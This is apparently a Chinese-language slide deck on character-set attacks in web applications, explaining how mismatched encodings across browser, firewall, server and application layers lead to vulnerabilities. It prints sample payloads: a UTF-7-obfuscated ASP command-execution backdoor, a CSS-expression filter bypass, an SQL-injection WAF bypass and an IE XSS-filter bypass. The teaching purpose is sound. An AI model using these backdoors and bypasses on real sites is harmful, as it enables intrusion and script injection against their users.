目录为什么要讨论字符集攻击在某些东方国家里这种攻击变得越来越普遍很多程序人员对这种攻击还不是很了解通过分析受字符集漏洞影响的各类WEB程序及其实际应用，我们可以更深入的了解和修正此类安全问题字节流和数据的本质字节流本身是一段无意义的数据，在计算机里由二进制表示，程序在处理字节流的时候，必须按照一定的规则来判断数据的意义，这个规则就是字符集。譬如同样的一个HTML，在不同的字符集情况下可能会显示乱码，就是理解数据的方式不对，导致问题发生（最终的意义发生改变），这种问题某种情况下就会导致漏洞三个阶段的编码单字节编码(SingleByteCharacterSet/SBCS包括ascii和一些控制字符)多字节编码(MBCS/DBCS)国际化编码(Unicode如utf-8等等)WEB架构层次一个正常的web请求数据处理流程：1浏览器根据页面指定的字符集将提交的表单处理好发送到指定的服务器2如果有IDS/Webfirewall就会检查提交的数据里有不有跟规则相匹配的非法数据3被firewall允许的请求将抵达webserver如apache和iis等4apache和iis将得到的数据按照自身的配置解码，解析整个请求，然后通过内建的一些规则决定请求是抛弃还是处理5符合要求的数据包将进入apache和iis的处理流程，一般被建立在POST，GET，REQUEST等变量里（IIS里php和asp的不同）6webapp通过建立的环境变量来处理整个请求，包括与服务器文件系统进行的交互，与服务器shell进行交互，与数据库服务器进行交互7文件服务器或者数据库服务器从webapp得到命令，执行成功之后将返回数据给webapp或者将数据保存，整个数据反向再进行一次。8最后数据回到用户的浏览器，浏览器通过请求指定的字符集将页面处理结果显示处理。字符集处理过程中可能出现的安全问题上下层使用的字符集不一致，导致数据的意义出现问题处理多字节字符集时出现问题对于非法数据的处理上理解不一致某些字符集的天生缺陷数据库里的校对规则（前后使用字符集不一致就出现问题）其他攻击Utf-7编码一种可变长度字符编码方式，用以将Unicode字符以ASCII编码的字符串来呈现，可以应用在电子邮件传输之类的应用只包括ascii字符，不会被过滤Webhacker最喜欢的编码MBCS编码GBK，GB2312，Big5……Unicode编码被广泛使用的国际编码如Utf-8编码，数据有自我校验性上下层使用的字符集不一致，导致数据的意义出现问题Web是一个复杂的系统各层之间都需要对数据做出适当的解释理解不一致就出现问题例子恶意脚本Bypass杀毒软件杀毒软件无法识别数据中的字符集客户端恶意脚本bypass以关键字检测为基础的杀毒软件恶意网站逃避查杀服务器端脚本利用字符集逃避杀毒软件的查杀被用于各种web后门<%@codepage=65000%><%e+x-x+x-e+x-c+x-u+x-t+x-e+x-(+x-r+x-e+x-q+x-u+x-e+x-s+x-t+x-(+x-+ACI-c+ACI)+x-)+x-%>应用程序的防护策略被绕过BaiducssfilterbypassBlacklist策略:expression@import/**/javascript…..允许@charsetExploit@charset"utf-7";body{80sec:expre/+ACoAKg/ssion(if(!window.x){alert(1);window.x=1})}Ids/webappfirewallbypassIds/firewall模型Ids/firewall处于web数据流的第二层却要保护位于第五层的应用程序，数据处理上的歧义将导致漏洞处理不一致导致的bypass（webknight）asp?test=‘anduser>0--//Blockedasp?test=%‘anduser>0-%-//Bypassasp在处理参数时会抛弃不合法的数据-%-的%被抛弃(aspx无效)在某些字符集情况由于上下层处理不一致导致更难保护，如下的asp脚本（IE8XssFilter失效）<%@codepage=65001%><%response.write(Server.URLEncode(request("c")))%>http://www.foo.com/webk.asp?c=111<%ffscript>alert()</script>IE字符集自动识别导致XSSIE识别字符集时可能会达到与应用程序期望相反的结果根据Header头里指定根据头部的数据